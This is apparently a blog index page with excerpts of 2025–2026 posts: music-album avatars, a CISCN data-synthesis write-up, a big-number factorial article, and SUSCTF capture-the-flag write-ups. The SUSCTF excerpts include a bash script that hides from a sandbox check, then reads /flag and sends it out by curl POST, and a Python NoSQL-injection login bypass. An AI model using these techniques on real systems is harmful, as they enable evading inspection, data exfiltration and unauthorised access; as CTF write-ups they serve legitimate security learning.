Misc

Somethings about me, 不定期更新 关于头像 你知道吗?他的头像都是音乐专辑 Album 01 Luv(sic) Hexalogy Nujabes feat. Shing02 2015 Jazz Hip-Hop Hydeout Productions Album 02 The Now Now And Never what is your name? 2022 Indie Rock / Shoegaze Villus Records Album 03 …And They Have Escaped the Weight of Darkness Ólafur Arnalds 2010 Neo-Classical / Electronic Mercury Classics Album 04 In Your Languages Yuragi (揺らぎ) 2025 Shoegaze / Dream Pop FLAKE SOUNDS Album 05 Ágætis Byrjun Sigur Rós 1999 Post-Rock / Dream Pop FLAKE SOUNDS

May 17, 2026 · lensit

CTFs WriteUp in 2026

本栏目持续更新一些零散的2025-2026年 CTF 题目,以此记录 CISCN@2025 The Silent Heist - AI 使用GaussianCopula进行数据高维关系分布的拟合,生成100000份数据,发现错误率在50/6000。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import matplotlib.pyplot as plt import numpy as np import pandas as pd import seaborn as sns from copulae import GaussianCopula,elliptical, StudentCopula from scipy.stats import norm from sklearn.preprocessing import StandardScaler df = pd.read_csv('public_ledger.csv') df = df.fillna(df.mean()) scaler = StandardScaler() scaled_data = scaler.fit_transform(df) print(scaled_data.shape) _, ndim = scaled_data.shape copula = GaussianCopula(dim=ndim) copula.fit(scaled_data) new_data = copula.random(100000) original_distribution = norm(loc=df.mean(), scale=df.std()) recovered_data = original_distribution.ppf(new_data) generated_df = pd.DataFrame(recovered_data, columns=df.columns) generated_df.to_csv('generated_ledger.csv', index=False, encoding='utf-8') sns.heatmap(pd.DataFrame(recovered_data).corr(), annot=True) plt.title("Generated Data Correlation") plt.show() for i in range(recovered_data.shape[1]): plt.hist(recovered_data[:, i], bins=30, alpha=0.5, label=f"Feature {i}") plt.title("Generated Data Distribution") plt.legend() plt.show() 再进行数据清理,去除非常极端的异常值,使用IQR法 ...

May 10, 2026 · laboon

高性能计算:阶乘

引言 阶乘,可以说是数学计算中最容易实现的一个程序。在学习循环时,我们必定会写过这样的代码: 1 2 3 4 5 6 7 int factorial(int n) { int result = 1; for (int i = 2; i <= n; i++) { result *= i; } return result; } 然而,这个简单的实现很快就遇到了瓶颈。在C++中,int类型只能计算到12!(479,001,600),long long也只能计算到20!(2,432,902,008,176,640,000)。当我们需要计算更大的阶乘时,传统数据类型就无能为力了。 这引出了几个有趣的问题:如何高效地计算大数乘法? 和 如何高效地计算大数阶乘? 1. 如何计算大数乘法? 1.1 朴素的高精度实现 当需要计算更大的阶乘时,我们首先想到的是使用数组来表示大数。这种思想来源于我们小学学习的竖式计算方法: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 class HugeInteger { private: vector<int> digits; // 存储每一位数字 public: HugeInteger operator*(const HugeInteger& other) const { // 实现竖式乘法 HugeInteger result; result.digits.resize(digits.size() + other.digits.size(), 0); for (size_t i = 0; i < digits.size(); i++) { for (size_t j = 0; j < other.digits.size(); j++) { result.digits[i + j] += digits[i] * other.digits[j]; result.digits[i + j + 1] += result.digits[i + j] / 10; result.digits[i + j] %= 10; } } return result; } }; 这种方法的时间复杂度是O(n²),其中n是数字的位数。虽然可以计算任意长度的数字,但效率较低。 ...

December 17, 2025 · lensit

SUSCTF@2025 WriteUp

Questionnaire Type: Misc / Author: SUSers / Difficulty: You name it 我爱抽奖 填写问卷,参与抽奖,发现抽奖人为flag (by the way SUSCTF@2025新生赛的Questionnaire解题方式一样,在这里的wp里顺带提上 curlbash / curlbash-revenge Type: Misc / Author: 135e2, MaPl / Difficulty: Medium 沙盒逃逸,但是介于没有个人本地服务器使,借用 SUSCTF@2025 新生赛中的 ez_upload 服务。 curlbash 沙盒判定为没有网络连接和文件修改,需要注意临时文件的产生。 第一是在ez_upload中上传shell,生成url复制到curlbash中;第二是在curlbash沙盒本地使用curl发送post请求到cgi-bin/upload.py中,实现flag的外泄。 两者区别似乎只在于curlbash有概率随机到正常bash中运行,curlbash-revenge一定会进行沙盒内的试运行检验。 两者使用的脚本一致。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #!/bin/bash if [ "$(head -n 1 "$0")" = "readonly LD_PRELOAD" ]; then # 沙盒环境 - 直接退出,不执行任何操作 exit 0 fi # 非沙盒环境 - 执行攻击:读取flag并通过POST上传 # 读取flag文件内容,同时捕获任何错误 FLAG_CONTENT=$(cat /flag 2>&1) READ_STATUS=$? # 如果读取失败,添加错误信息到内容中 if [ $READ_STATUS -ne 0 ]; then FLAG_CONTENT="读取flag失败: $FLAG_CONTENT 尝试读取的文件: /flag 当前目录: $(pwd) 文件列表: $(ls -la / 2>/dev/null || echo '无法列出文件')" fi # 使用POST请求上传flag到服务器(包含可能的错误信息) curl -X POST \ -H "Host: " \ -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" \ -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \ -H "Accept-Language: en-US,en;q=0.5" \ -H "Accept-Encoding: gzip, deflate, br" \ -H "Content-Type: multipart/form-data; boundary=---------------------------32407474064970574003632409366" \ -H "Origin: http://" \ -H "Connection: keep-alive" \ -H "Referer: http:///" \ -H "Cookie: deviceid=1759566206584; xinhu_mo_adminid=ojo0zx0zd0ojf0xx0odd0ojf0co0uu0co0xz0ojf0xx0zx0xp0cz013; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0" \ -H "Upgrade-Insecure-Requests: 1" \ -H "Priority: u=0, i" \ --connect-timeout 5 \ --max-time 10 \ --silent \ --output /dev/null \ --data-binary @- \ "http:///cgi-bin/upload.py" <<EOF -----------------------------32407474064970574003632409366 Content-Disposition: form-data; name="filename" flag.txt -----------------------------32407474064970574003632409366 Content-Disposition: form-data; name="file"; filename="flag.txt" Content-Type: text/plain $FLAG_CONTENT -----------------------------32407474064970574003632409366-- EOF # 确保脚本以成功状态退出 exit 0t 0 easyjail Type: Misc / Author: 135e2 / Difficulty: Easy ...

October 5, 2025 · laboon

SUSCTF@2025 新生赛 WriteUp

Flagdle Type: web / Author: 135e2 / Difficulty: Easy 尝试玩Wordle,发现并不属于英语单词的flagdle可以被识别 检查网络发现有如下请求 其中index-v114.5.14.js 和index-v114.5.14.css中版本号令人在意,肯定是经过出题人的修改。 由于之前flagdle的疑点,查看单词字典发现 使用python获取e(31483)等单词,组成句子, Submit the last Four words as flag signthe webflag from our flagdle 尝试原单词词典最后四个词语失败,尝试signthewebflagfromourflagdle成功 nosqli Type: web / Author: 135e2 / Difficulty: Medium 注意到index.js 文件中有两个用户,admin 和 flag(本题目标),并且在成功登录后会输出{user.username},即flag。 题目提示nosql,使用常规MongoDB nosql注入方法,向query-password注入$exists按照操作符的逻辑执行了查询,成功登录。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests def main(): url = "http://game.ctf.seusus.com:xxxxx/login" # 端口在wp里隐去 # 构造NoSQL注入负载,匹配非admin用户且密码存在的文档 data = { "username": {"$ne": "admin"}, "password": {"$exists": True} } try: response = requests.post(url, json=data) if response.status_code == 200: # 提取响应中的用户名(即flag) flag = response.text.replace("Logged in as ", "") print(f"Flag: {flag}") else: print(f"请求失败,状态码: {response.status_code}, 响应: {response.text}") except Exception as e: print(f"发生错误: {e}") if __name__ == "__main__": main() ezphp Type: web / Author: hardream / Difficulty: Medium ...

September 30, 2025 · laboon